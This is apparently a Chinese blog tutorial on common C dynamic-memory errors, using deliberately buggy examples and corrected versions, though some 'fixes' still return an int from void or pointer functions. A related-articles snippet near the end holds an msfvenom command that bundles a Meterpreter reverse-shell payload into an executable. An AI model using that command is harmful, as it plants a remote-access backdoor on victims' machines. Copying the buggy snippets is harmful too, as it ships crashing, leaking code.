当前位置: 首页 > news >正文

71.【C语言】动态内存管理(重点)(4)

本文为数据结构打下基础

备注:数据结构需要掌握指针,结构体和动态内存管理

目录

6.常见的动态内存的错误

1.对空指针解引用

2.对动态空间的越界访问

3.对非动态内存空间进行free释放

4.使用free只释放开辟的内存空间的一部分

5.对同一块动态内存多次释放

6.动态开辟的内存忘记释放

7.动态开辟的内存无法释放

代码改进

7.动态内存练习题

1.VS下,求下列代码的执行结果

 答案速查

分析

改进后

方案1

方案2


承接70.【C语言】动态内存管理(重点)(3)文章

6.常见的动态内存的错误

1.对空指针解引用

之前在68.【C语言】动态内存管理(重点)(1)说过

如果真的解引用了, 可能会引发程序崩溃,内存损坏或数据丢失

因此在使用malloc,calloc,recalloc开辟内存空间时,要先判断返回的指针是否为空指针,再做其他操作

2.对动态空间的越界访问

#include <stdlib.h>
int main()
{int* p = (int*)malloc(4);*(p + 1) = 2;*(p + 2) = 3;return 0;
}

打开VS的内存窗口,输入p

显然脱离了动态分配的空间,入侵了其他数据处,可能会引发程序崩溃,内存损坏或数据丢失

3.对非动态内存空间进行free释放

#include <stdlib.h>
int main()
{int a[5] = { 0 };int* p = a;free(p);p = NULL;return 0;
}

导致错误:

 

4.使用free只释放开辟的内存空间的一部分

#include <stdlib.h>
int main()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}for (int i = 0; i < 5; i++)*(p + i) = i;p++;free(p);p = NULL;return 0;
}

 导致错误:

起始的指针不能移动!(上方代码的p++;是禁止使用的,不能改变p的值)

5.对同一块动态内存多次释放

#include <stdlib.h>
int main()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}free(p);free(p);p = NULL;return 0;
}

 导致错误:

如果非要多次释放,在第一次释放后使p置NULL,再free(p);

    free(p);p = NULL;free(p);

 free(NULL);时,free函数什么也不做(free函数具体参见69.【C语言】动态内存管理(重点)(2))

6.动态开辟的内存忘记释放

忘记释放导致该内存不能再使用,可能会造成内存泄漏,程序性能下降,系统资源耗尽,程序崩溃问题

7.动态开辟的内存无法释放

#include <stdlib.h>
void function()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}//使用//......
}int main()
{function();free(p);return 0;
}

function函数内的p是局部变量,函数执行结束时,局部变量被销毁(找不到动态内存的地址),交换给操作系统,如果此时在main函数里free(p);编译无法通过,无法释放空间

(具体介绍局部变量的特性见4.【C语言】初识常量与变量)

同样的,无法释放导致该内存不能再使用,可能会造成内存泄漏,程序性能下降,系统资源耗尽,程序崩溃问题

代码改进

在function函数中返回p

#include <stdlib.h>
int* function()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}//使用//......return p;
}int main()
{//r_p是return_pointer的缩写int* r_p=function();free(r_p);r_p = NULL;return 0;
}

因此

1.在函数中开辟的动态内存空间一定要返回动态内存空间的起始地址,用于main的free函数释放;

2.malloc和free成对使用;calloc和free成对使用(如果是在自定义函数中,则一定要在其返回前使用free)

7.动态内存练习题

1.VS下,求下列代码的执行结果

#define _CRT_SECURE_NO_WARNINGS 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void GetMemory(char* p)
{p = (char*)malloc(100);
}void Test(void)
{char* str = NULL;GetMemory(str);strcpy(str, "hello world");printf(str);
}int main()
{Test();return 0;
}

 答案速查

程序崩溃

分析

运行到strcpy处发生错误

注意到0x00000000,这实际上是空指针,说明str还是空指针,进一步推导得出:GetMemory并没有改变str的内容,该函数调用结束,p被销毁,即传值调用

(有关传值调用和传址调用的介绍见29.【C语言】函数系列中 自定义函数)

因此:strcpy(str, "hello world");等价为strcpy(NULL, "hello world");

在51.【C语言】字符函数和字符串函数(strcpy函数)文中提到过,strcpy函数的参数不接受空指针,因此这里会报错

而且printf(str);实际上是对空指针解引用,这是本文介绍的6.常见的动态内存的错误的第1点错误

除此之外,该代码有两处明显不规范的地方:

1.malloc函数的返回值没有判断是否为空指针

2.有malloc但没有free,容易发生内存泄漏

改进后
方案1

使用传址(GetMemory(&str);)调用,p为二级指针(接收str指针的指针)

#define _CRT_SECURE_NO_WARNINGS 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void GetMemory(char** p)
{*p = (char*)malloc(100);
}int Test(void)
{char* str = NULL;GetMemory(&str);if (str == NULL){perror("malloc");return 1;//错误返回}strcpy(str, "hello world");printf(str);free(str);str = NULL;return 0;
}int main()
{Test();return 0;
}
方案2

p为一级指针,此时GetMemory无需参数

#define _CRT_SECURE_NO_WARNINGS 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
char* GetMemory()
{char* p = (char*)malloc(100);return p;
}int Test(void)
{char* str = NULL;str = GetMemory();if (str == NULL){perror("malloc");return 1;}strcpy(str, "hello world");printf(str);free(str);str = NULL;return 0;
}int main()
{Test();return 0;
}

相关文章:

71.【C语言】动态内存管理(重点)(4)

本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...

JavaScript 用HTML5约束验证API做表单验证

一、验证属性与通过与否 以下为在表单元素上的可用属性&#xff1a; required<boolean> 必填字段&#xff0c;接受布尔值&#xff0c;默认false pattern<string> 接受正则&#xff0c;用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法&#xff…...

Unity 编辑器多开

开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时&#xff0c;Unity Editor会在项目目录建立一个Temp目录&#xff0c;同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...

【Spring Boot React】Spring Boot和React教程 完整版

【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频&#xff0c;作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元&#xff0c;全栈开发&#xff0c;搭…...

Linux中的多线程

Linux线程概念 在一个程序里的一个执行路线就叫做线程&#xff08;thread&#xff09;。更准确的定义是&#xff1a;线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能&#xff1a;创建一个新的线程 原…...

《计算机原理与系统结构》学习系列

系列文章目录 一、计算机概要与技术 二、指令&#xff1a;计算机的语言&#xff08;上&#xff09; 三、指令&#xff1a;计算机的语言&#xff08;中&#xff09; 四、指令&#xff1a;计算机的语言&#xff08;下&#xff09; 五、计算机的算数运算&#xff08;上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)

1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署&#xff0c;本帖将整理常用的工具/接口以及使用示例来供大家参考&#xff0c;相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满&#xff0c;欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?

使用文字生成图片是一种基本的功能&#xff0c;但是还有一种场景&#xff0c;不是从文字生成图片&#xff0c;而是基于已有的一张图片生成另一张图片&#xff0c;这个时候&#xff0c;就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite

文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据&#xff0c;以结果表的形式返回数据&#xff08;结果集&#xff09;updatedistinctorder bygroup byhaving触发器删除一个触发器&#xff08;tr…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...

畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)

畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道师…...

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版

文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理&#xff0c;已经进行了介绍与总结&#xff0c;相关内容可参考【…...

二分查找一>寻找峰值

1.题目&#xff1a; 2.解析&#xff1a; 暴力遍历代码&#xff1a;O(N),由于该题数据很少所以可以通过 暴力遍历&#xff1a;O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增&#xff0c;更新就indexif(nums[i]…...

《Linux从小白到高手》理论篇:深入理解Linux的网络管理

今天继续宅家&#xff0c;闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知&#xff0c;在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数&#xff0c;比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX&#xff0c;比如 ppp0 等。 …...

redis数据类型介绍

1. 字符串&#xff08;String&#xff09; 字符串是 Redis 中最基本的数据类型&#xff0c;它可以存储任何形式的字符串&#xff0c;包括文本、数字等。字符串类型的操作非常丰富&#xff0c;比如 SET、GET、INCR&#xff08;自增&#xff09;、DECR&#xff08;自减&#xff0…...

一张照片变换古风写真,Flux如何做到?

前言 解锁图像创作新体验&#xff1a;ComfyUI指南 在AI图像生成领域&#xff0c;ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具&#xff0c;提供了一个节点式图形用户界面&#xff08;GUI&#xff09;&#xff0c;让用户可以通过简单的拖拽与配置来…...

医药行业的智能合同审查:大模型与AI赋能合规管理

随着医药行业的快速发展&#xff0c;尤其是在全球化背景下&#xff0c;企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障&#xff0c;更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求&#xff0c;包括与政府机构、研…...

幂等性接口实现

1、什么是幂等性 幂等&#xff08;idempotence&#xff09;&#xff0c;这个词源自数学&#xff0c;幂等性是数学中的一个概念&#xff0c;常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说&#xff0c;就是如果方法调用一次和调用多次产生的效果是相同的&…...

C++ 语言特性29 - 协程介绍

一&#xff1a;什么是协程 C20 引入了协程&#xff08;coroutine&#xff09;&#xff0c;这是 C 标准库中一个强大的新特性。协程是一种可以在执行中暂停并随后恢复的函数&#xff0c;允许程序在异步或并行场景下高效管理任务&#xff0c;而不需要传统的线程或复杂的回调机制。…...

手游刚开服就被攻击怎么办?如何防御DDoS?

开服初期是手游最脆弱的阶段&#xff0c;极易成为DDoS攻击的目标。一旦遭遇攻击&#xff0c;可能导致服务器瘫痪、玩家流失&#xff0c;甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案&#xff0c;帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

Linux链表操作全解析

Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表&#xff1f;1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

蓝桥杯3498 01串的熵

问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798&#xff0c; 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程&#xff0c;系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

android13 app的触摸问题定位分析流程

一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...

HubSpot推出与ChatGPT的深度集成引发兴奋与担忧

上周三&#xff0c;HubSpot宣布已构建与ChatGPT的深度集成&#xff0c;这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋&#xff0c;但同时也存在一些关于数据安全的担忧。 许多网络声音声称&#xff0c;这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...

Ubuntu Cursor升级成v1.0

0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开&#xff0c;快捷键也不好用&#xff0c;当看到 Cursor 升级后&#xff0c;还是蛮高兴的 1. 下载 Cursor 下载地址&#xff1a;https://www.cursor.com/cn/downloads 点击下载 Linux (x64) &#xff0c;…...